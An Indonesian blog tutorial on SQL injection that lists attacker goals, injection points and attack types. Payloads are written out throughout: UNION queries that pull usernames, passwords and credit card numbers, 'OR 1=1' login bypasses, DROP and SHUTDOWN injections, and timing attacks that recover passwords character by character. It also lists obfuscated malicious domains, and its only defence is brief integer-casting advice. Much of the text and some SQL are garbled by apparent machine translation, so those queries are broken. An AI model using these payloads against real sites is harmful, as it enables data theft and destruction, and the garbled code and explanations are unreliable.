Tujuan dari Serangan SQL Injection
- Mengidentifikasi parameter injeksi
Penyerang ingin menyelidiki Aplikasi Web
untuk menemukan mana parameter dan bidang-input pengguna rentan terhadap SQLIA.
- Menambah dan memodifikasi data
Tujuan dari serangan ini adalah untuk
menambah atau mengubah informasi dalam database.
- Menggali data pada sebuah web
Jenis-jenis serangan menggunakan teknik
yang akan mengekstrak nilai data dari database. Tergantung pada jenis dari
aplikasi Web, informasi ini bisa menjadi sensitif dan sangat diinginkan untuk
penyerang. Serangan dengan maksud ini adalah Jenis yang paling umum dari SQLIA.
- Melakukan nya di Denial of Service (DoS)
Serangan ini dilakukan untuk menutup
database dari aplikasi Web, sehingga menyangkal layanan ke pengguna lain.
Serangan yang melibatkan mengunci atau menjatuhkan tabel database juga termasuk
dalam kategori ini.
- Menghindari deteksi
Kategori ini mengacu pada teknik
serangan tertentu yang digunakan untuk menghindari audit dan deteksi oleh
system mekanisme perlindungan.
- Melewati Authentication (bukti keaslian)
Tujuan dari jenis serangan adalah untuk
memungkinkan penyerang untuk memotong otentikasi database dan aplikasi
mekanisme. Melewati mekanisme seperti itu bisa memungkinkan penyerang untuk
menganggap hak dan hak istimewa yang berkaitan dengan yang lain pengguna
aplikasi.
- Mengeksekusi perintah Jarak jauh
Jenis serangan berusaha untuk
mengeksekusi perintah sewenang-wenang pada database. Perintah-perintah ini
dapat disimpan prosedur atau fungsi yang tersedia bagi pengguna database.
- Melakukan ekskalasi/perintah hak Istimewa
Serangan ini memanfaatkan kesalahan
implementasi atau kekurangan logis dalam database untuk meningkatkan
hak-hak istimewa dari penyerang. Berbeda dengan melewati otentikasi serangan,
serangan ini fokus pada pemanfaatan database hak pengguna.
Metode Injeksi Memasukan Source
a. Melakukan Injeksi melalui inputan pengguna
1. Melalui URL Get
URL di atas memiliki parameter id dan
biasanya diikuti dengan angka tertentu. Angka ini menunjukkan nomor id dari
artikel yang sedang tampil.
Hanya dengan menambahkan beberapa query
SQL di belakang parameter tersebut, seorang hacker mampu mengakses database
yang digunakan oleh situs tersebut. Berikut ini salah satu contoh query yang
diinjectkan melalui URL berparameter
"http://situskorban/artikel.php?id=10"
union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
Seorang hacker dalam melancarkan aksinya,
biasanya butuh beberapa kali submit URL dan query sebelum akhirnya mendapatkan
targetnya.
Nah… sekarang saya akan paparkan sedikit
tentang bagaimana menghindari injection seperti halnya di atas. Point
pentingnya di sini adalah bagaimana supaya parameter hanya bisa membaca nomor
unik id dari artikelnya saja, dengan mengabaikan query yang disisipkan hacker.
Atau dengan kata lain bagaimana supaya parameter yang berisi query injection
dihilangkan, misal apabila diberikan URL berikut ini:
"http://situskorban/artikel.php?id=10"
union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
akan menjadi:
"http://situskorban/artikel.php?id=10"
(bagian ‘union all select
1,concat(user,0x3a,pass,0x3a,email) from users –’ diabaikan)
Untuk menghilangkan query yang
disisipkan pada parameter dalam URL, kita bisa menggunakan ‘teknik casting’.
Dalam hal ini, kita mengcasting nilai parameter ke dalam tipe data integer.
Sebagai contoh, misalkan kita memiliki sebuah string id = ’10 union all select
1,concat(user,0x3a,pass,0x3a,email) from users –’. Apabila id ini dicasting ke
dalam integer maka akan dihasilkan id = 10, dengan cara memberikan perintah id
= (int) $id.
Script di atas akan menghasilkan 10.
Nah… pada URL
"http://situskorban/artikel.php?id=…", biasanya dalam script artikel.php ini,
pastilah di dalamnya terdapat perintah berikut
Perintah $id = $_GET['id']; digunakan
untuk membaca nilai parameter id-nya untuk kemudian ditampilkan artikelnya
berdasarkan id tersebut. Nah.. teknik casting di atas dapat diterapkan pada
script artikel.php ini
Lebih baik lagi, kalau kita tambahkan
function absolut abs()
Mengapa perlu ditambahkan abs()? ya…
karena ada pula teknik SQL injection yang memanfaatkan ‘negative number’ pada
parameter URLnya, misalkan:
"http://situskorban/artikel.php?id=-10"
union all select 1,concat(user,0x3a,pass,0x3a,email) from users --
Di sini, function abs() hanya untuk
menjamin saja bahwa nilai parameter id adalah bernilai positif.
2. Melalui Input field POST
Jenis ini tidak lah jauh berbeda dengan
jenis GET(method), bedanya hanya terletak pada nama hhehehe GET dan POST, pada
dasarnya method POST berasal dari variable yang ada pada form, contohnya
seperti form login atau form pencarian, cara untuk mengindetifikasinya juga
sama, dengan memberikan karakter ' atau - atau karakter ascii yang bisa
menghasilkan error, tetapi terkadang perbedaan terletak pada operan (operator)
yang ada, jika pada login form (form login) kita bisa menggunakan perintah
seperti yang telah kita uraikan di atas, yaitu menjadikan SQL itu bernilai
true, seperti
1' OR 1=1--
' OR 100=100#
SQL yang terjadi akan seperti berikut
select * from user where username='1' OR
1=1-- and password='$password'
selecct * from user where username='' OR
100=100# and password='$password'
yang terpenting menjadikannya TRUE,
sedangkan pada kasus yang lain, seperti form pencarian, pada form pencarian
biasanya query yang terjadi pada RDMS cukup komplesk, menggunakan operan LIKE
OR atau AND, kadang-kadang ini bisa menjadi masalah untuk kita, misalnya query
yang ada seperti berikut
select * from mahasiswa where nim like
'%123%' OR nama like '%indonesia%'
pertanyaanya bagaiaman membuat atau
memanipulasi query tersebut bernilaio true ? , sebenarnya cukup simple, kita
hanya perlu memanipulasi operan LIKE '% %' bernilai true, misalnya dengan
perintah2 berikut pada form search
123%'#
123%'--
maka query yang terjadi adalah
select * from mahasiswa where nim like
'%123%'#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like
'%123%'--%' OR nama like '%indonesia%'
jika kita lebih jauh mengexploitasinya
tidak lah berbeda dengan GET method, hanya berbeda pada bagian depanya saja,
misalnya seperti
123%' order by 4#
atau
123%' order by 4--
maka query yang terjadi seperti berikut
select * from mahasiswa where nim like
'%123%' order by 4#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like
'%123%' order by 4--%' OR nama like '%indonesia%'
lebih advanced
select * from mahasiswa where nim like
'%123%' union select 1,2,3,4#%' OR nama like '%indonesia%'
atau
select * from mahasiswa where nim like
'%123%' union select unhex(hex(1)),unhex(hex(2)),unhex(hex(3)),unhex(hex(4))#%'
OR nama like '%indonesia%'
atau
select * from mahasiswa where nim like
'%123%'/**/union/**/select/**/1,/**/2,/**/3,/**/4#%' OR nama like '%indonesia%'
b. Injeksi melalui Cookies
Yaitu dengan memodifikasi sebuah cookies
field yang mengandung SQLIA (SQL Injection Attack). Cookie adalah file
yang berisi Negara informasi yang dihasilkan aplikasi byWeb dan disimpan pada
klien mesin. Ketika klien kembali ke aplikasi Web, cookie dapat digunakan untuk
mengembalikan informasi negara klien. Karena klien memiliki kontrol atas
penyimpanan cookie, klien bisa berbahaya mengutak-atik isi cookie. Jika
aplikasi Web menggunakan isi cookie untuk membangun query SQL, seorang
penyerang bisa dengan mudah mengirimkan serangan oleh embedding dalam cookie.
c. Injeksi melalui Variable Server
Yaitu dengan memanipulasi sebuah headers
yang mengandung String SQLIA . Variabel Server koleksi variabel yang berisi
HTTP, header jaringan, dan lingkungan variabel. Aplikasi web menggunakan
variabel server berbagai cara, seperti penebangan statistik penggunaan dan
mengidentifikasi menelusuri tren. Jika variabel ini masuk ke database tanpa
sanitasi, ini bisa membuat SQL injection kerentanan .Karena penyerang bisa
membina nilai-nilai yang ditempatkan di HTTP dan header jaringan, mereka dapat
memanfaatkan celah ini dengan menempatkan SQLIA langsung ke header. Ketika
query untuk log server variabel dikeluarkan ke database, serangan di header
palsu adalah kemudian memicu.
d. Injeksi Perintah Kedua
Dalam suntikan orde kedua, penyerang
benih input berbahaya ke dalam sistem atau database untuk secara tidak langsung
memicu SQLIA ketika masukan yang digunakan di lain waktu. Tujuanserangan
semacam ini berbeda secara signifikan dari biasa (misalnya, firstorder)
serangan injeksi. Suntikan orde kedua tidak mencoba untuk menyebabkan serangan
terjadi ketika input berbahaya awalnya mencapai database. Sebaliknya, penyerang
bergantung pada pengetahuan tentang manamasukan akan kemudian digunakan dan
kerajinan serangan mereka sehingga terjadi selama penggunaan itu. Untuk memperjelas,
kami menyajikan contoh klasik dari urutan kedua serangan injeksi (diambil dari
[1]). Dalam contoh ini, seorang pengguna mendaftar pada sebuah situs web dengan
menggunakan nama pengguna unggulan, seperti sebagai "admin" - ".
Aplikasi ini benar lolos single mengutip pada input sebelum menyimpannya dalam
database, mencegah nya efek berpotensi berbahaya. Pada titik ini, pengguna
memodifikasi nya atau password-nya, sebuah operasi yang biasanya melibatkan (1)
memeriksa bahwa pengguna mengetahui password saat ini dan (2) mengubah password
jika cek tersebut berhasil.
- Frekuensi dasar berbasis Aplikasi Utama
- Frekuensi dasar berbasis Aplikasi Kedua
- Aplikasi pendukung Sekunder
- Aplikasi pengajuan mengalir
Serangan tidak terjadi ketika pertama
kali mencapai database, tapi ketika digunakan di kemudian hari.
Input: admin' - ===> admin \ '-
querystring =
"Pengguna UPDATE SET pin =" +
+ newPin
"MANA userName = '" + username
+ "' AND pin =" + oldPin;
querystring =
"Pengguna UPDATE SET pin = '0 '
MANA userName = 'admin' -' DAN pin = 1
";
Type Serangan SQL Injection
a. SQL Injection Attack Classic
- Piggy-backed Queries
Masukkan pertanyaan tambahan yang akan
dieksekusi oleh database.
querystring = "Info SELECT DARI
MANA usertable" +
"Login = '" + + Login "'
AND pin =" + pin;
Masukan pin sebagai "0; DROP webapp
Database"
querystring = "Info SELECT DARI
MANA usertable
login = 'nama' DAN pin = 0; DROP webapp
Database "
- Tautologies
Buat query yang selalu mengevaluasi
untuk benar untuk entri dalam database.
querystring = "Info SELECT DARI
MANA usertable" +
"Login = '" + + Login "'
AND pin =" + pin;
Masukan login sebagai "user 'atau 1
= 1 -"
querystring = "Info SELECT DARI
MANA usertable
login = 'user' atau 1 = 1 - 'DAN pin =
"
- Encodings Alternatif
Encode serangan sedemikian rupa untuk
menghindari masukan naif penyaringan.
querystring = "Info SELECT DARI
MANA usertable" +
"Login = '" + + Login "'
AND pin =" + pin;
Masukan pin sebagai "0; declare @
char (20) pilih
@ a = 0x73687574646f776e exec (@ a)
"
"SELECT Info DARI MANA usertable
login = 'user' DAN pin = 0;
menyatakan @ char (20) pilih @ a =
0x73687574646f776e exec (@ a) "
- Illegal / Logically Incorrect Queries
Tujuan: - mengumpulkan informasi
tentang jenis dan struktur dari database back-end dari aplikasi Web. Penyebab
sintaks, jenis konversi, atau kesalahan logis ke dalam database.
- Jika penyerang menyuntikkan teks
berikut ke bidang masukan pin:
"Mengkonversi (int, (pilih atas 1
nama dari sysobjects mana xtype = 'u'))".
Yang dihasilkan query:
SELECT akun FROM pengguna WHERE login
='' DAN pass ='' DAN pin = convert (int, (pilih atas 1 nama dari sysobjects
mana xtype = 'u'))
- UNION SQLIA
Tujuan: untuk melewati Otentikasi,
penggalian data. Mengembalikan sebuah dataset yang adalah gabungan dari hasil
asli pertama query dan hasil query disuntikkan.
- Seorang penyerang bisa menyuntikkan
teks "'UNION SELECT CARDNO dari creditcards mana acctNo = 10032 -" ke
dalam kolom login, yang menghasilkan query berikut:
SELECT akun FROM pengguna WHERE login
='' UNION
SELECT CARDNO dari creditcards mana
acctNo = 10032 - DAN pass ='' DAN pin =
- Stored Procedures SQLIA
Tujuan : Melakukan penolakan layanan,
mengeksekusi perintah remote.
Menyebabkan database untuk menutup.
Menyuntikkan "'; SHUTDOWN, -"
menjadi baik ladang userName atau password.
Suntikan ini menyebabkan prosedur yang
tersimpan untuk menghasilkan query berikut:
SELECT akun FROM pengguna WHERE login =
'doe' DAN lulus = ''; SHUTDOWN, - DAN pin =
b. Gangguan dari SQL Injection Attack
Mempunyai Tujuan yaitu :
Mengidentifikasi parameter suntik, penggalian data, menentukan skema database.
Query dimodifikasi akan dieksekusi berdasarkan jawaban untuk pertanyaan benar /
salah.
Mempunyai 2 Teknik yaitu :
a. Classic Blind Injection
b. Timing Attack
- Classic Blind
Blind SQL Injection digunakan ketika sebuah aplikasi web yang rentan terhadap
SQL injection tetapi hasil injeksi tidak terlihat penyerang. Halaman dengan
kerentanan mungkin tidak menjadi salah satu yang menampilkan data tetapi akan
ditampilkan berbeda tergantung pada hasil dari pernyataan logis disuntikkan ke
pernyataan SQL yang sah disebut untuk halaman tersebut. Jenis serangan dapat
menjadi waktu-intensif karena pernyataan baru harus dibuat untuk setiap bit
pulih. Ada beberapa alat yang dapat mengotomatisasi serangan ini sekali lokasi
kerentanan dan informasi target telah ditetapkan.
- Conditional Response / Kondisi Respon
Salah satu jenis SQL injection memaksa
database untuk mengevaluasi pernyataan logis pada layar aplikasi biasa. Sebagai
contoh, sebuah situs web review buku menggunakan string query untuk menentukan
resensi buku untuk menampilkan. Jadi URL
http://books.example.com/showReview.php?ID=5 akan menyebabkan server untuk
menjalankan query.
“SELECT * FROM WHERE ID = bookreviews '5
';”
dari mana ia akan mengisi halaman review
dengan data dari review dengan ID 5, disimpan dalam bookreviews tabel.
Permintaan terjadi sepenuhnya pada server, pengguna tidak tahu nama-nama
database, tabel, atau field, juga tidak pengguna tahu string query. Pengguna
hanya melihat bahwa URL di atas mengembalikan resensi buku. Seorang hacker
dapat memuat URL http://books.example.com/showReview.php?ID=5 DAN 1 = 1 dan
http://books.example.com/showReview.php?ID=5 DAN 1 = 2, yang dapat
mengakibatkan query
SELECT * FROM WHERE ID = bookreviews '5
'DAN '1' = '1 ';
SELECT * FROM WHERE ID = bookreviews '5
'DAN '1' = '2 ';
masing-masing. Jika review beban asli
dengan "1 = 1" URL dan halaman kosong atau kesalahan dikembalikan
dari "1 = 2" URL, situs ini mungkin rentan terhadap serangan injeksi
SQL. Hacker dapat melanjutkan dengan query string dirancang untuk mengungkapkan
nomor versi MySQL yang berjalan pada server:
http://books.example.com/showReview.php?ID=5 DAN substring (@ @ version, 1,1) =
4, yang akan menampilkan bedah buku pada server yang menjalankan MySQL 4 dan
halaman kosong atau kesalahan sebaliknya. Hacker dapat terus menggunakan kode
dalam string query untuk mengumpulkan informasi lebih lanjut dari server sampai
jalan lain serangan ditemukan atau tujuan nya tercapai.
- Conditional Errors / Kondisi Kesalahan
- Out-Of-Band Channeling
- Timing SQLIA
Jenis injeksi SQL buta bergantung pada
database berhenti untuk jumlah waktu tertentu, kemudian kembali hasil,
menunjukkan sukses mengeksekusi query SQL. Dengan menggunakan metode ini,
penyerang menyebutkan setiap huruf dari potongan yang diinginkan data menggunakan
logika berikut:
Jika huruf pertama dari nama database
pertama adalah 'A', tunggu selama 10 detik.
Jika huruf pertama dari nama database
pertama adalah 'B', tunggu selama 10 detik. dan lain-lain
Microsoft SQL Server
http://www.site.com/vulnerable.php?id=1
'waitfor delay '00: 00:10' -
MySQL
SELECT IF (ekspresi, true, false)
Menggunakan beberapa waktu pengambilan
operasi misalnya Benchmark (), akan menunda respon server jika ungkapan Benar.
PATOKAN (5000000, encode ('MSG', 'oleh 5
detik'))
- Akan menjalankan fungsi encode 5000000
kali.
Tergantung pada kinerja database server
dan beban, harus mengambil hanya waktu untuk menyelesaikan operasi ini. Yang
penting adalah, dari sudut pandang penyerang, untuk menentukan nomor tinggi
cukup Benchmark () pengulangan fungsi untuk mempengaruhi waktu respon database
dengan cara yang terlihat.
Contoh kombinasi dari kedua pertanyaan:
1 UNION SELECT IF (SUBSTRING
(user_password, 1,1) = CHAR (50), Benchmark (5000000, encode ('MSG', 'oleh 5
detik')), null) FROM pengguna WHERE user_id = 1;
Jika respon database butuh waktu lama,
kita dapat berharap bahwa pengguna pertama karakter password dengan user_id = 1
adalah karakter '2 '.
(CHAR (50) == '2 ')
Dengan menggunakan metode ini untuk sisa
karakter, itu mungkin untuk menghitung seluruh password disimpan dalam
database. Metode ini bekerja bahkan ketika penyerang menyuntikkan query SQL dan
isi dari halaman rentan tidak berubah.
Jelas, dalam contoh ini, nama-nama tabel
dan jumlah kolom yang ditentukan. Namun, mungkin untuk menebak mereka atau
memeriksa dengan metode trial and error.
Database selain MySQL juga memiliki
fungsi berbasis waktu yang memungkinkan mereka untuk digunakan untuk serangan
berbasis waktu:
WAIT MS SQL 'UNTUK DELAY '0: 0:10
PostgreSQL - pg_sleep ()
Melakukan serangan Blind_SQL_Injection
manual sangat memakan waktu, tetapi ada banyak alat yang mengotomatisasi proses
ini. Salah satunya adalah sqlmap (http://sqlmap.sourceforge.net/) sebagian
dikembangkan dalam program hibah OWASP. Di sisi lain, alat-alat semacam ini
sangat sensitif bahkan penyimpangan kecil dari aturan. Ini termasuk:
pemindaian cluster website lain, di mana
jam tidak idealnya disinkronkan,
Layanan WWW dimana metode memperoleh
argumen diubah, misalnya dari / index.php? ID = 10 sampai / ID, 10.
DBMS Spesific SQLIA
- Data Base Fingerprint
Penyerang ingin menemukan jenis dan
versi database yang aplikasi Web adalah
menggunakan. Beberapa jenis database
yang berbeda merespon secara berbeda terhadap
query dan serangan, dan informasi ini
dapat digunakan untuk "sidik jari" database. Mengetahui jenis dan
versi database digunakan oleh aplikasi Web memungkinkan penyerang untuk
kerajinan databasespecific serangan.
- Data Base Mapping
Untuk benar mengekstrak data dari
database, penyerang seringkali perlu mengetahui informasi skema database,
seperti nama tabel, nama kolom, dan data kolom jenis. Serangan dengan maksud
ini diciptakan untuk mengumpulkan atau menyimpulkan ini jenis informasi.
Serangan SQL yang Diperparah
- Fast-Fluxing SQLIA
Contoh kasus :
Meletakkannya, dan memasukkannya seperti
merupakan contoh yang baik dari perang taktis, yaitu menggabungkan taktik yang
berbeda demi sehingga sulit untuk melacak dampak dari kampanye injeksi SQL
tertentu. Perhatikan contoh berikut domain dikaburkan, secara alami berada
di-fluks cepat dalam waktu injeksi SQL yang beberapa script kiddies Cina
mengambil keuntungan dari:
% 6b% 6b% 36% 2e% 75% 73 - kk6.us
% 73% 61% 79% 38% 2E% 75% 73 - s.see9.us
% 66% 75% 63% 6B% 75% 75% 2E% 75% 73 -
fuckuu.us
% 61% 2E% 6B% 61% 34% 37% 2E% 75% 73 -
a.ka47.us
% 61% 31% 38% 38% 2E% 77% 73 - a188.ws
% 33% 2E% 74% 72% 6F% 6A% 61% 6E% 38%
2E% 63% 6F% 6D - 3.trojan8.com
% 6D% 31% 31% 2E% 33% 33% 32% 32% 2E%
6F% 72% 67 - m11.3322.org
Seperti biasa, obfuscations ini hanya
puncak gunung es mengingat jumlah tak terhitung obfuscations teknik URL lain
yang spammer dan phisher yang digunakan untuk mengambil keuntungan dari skala
besar. Untuk saat ini, salah satu alasan utama kita tidak melihat suntikan SQL
besar menggunakan obfuscations tersebut terutama karena fitur belum
diimplementasikan dalam populer SQL injector untuk peniru script kiddies untuk
mengambil keuntungan dari. Namun, dengan potensi untuk menghindari pendekatan
deteksi umum, itu hanya masalah kemauan pribadi bagi seseorang untuk
menambahkan lapisan tambahan ini untuk memastikan survivability kampanye.
Komentar
Posting Komentar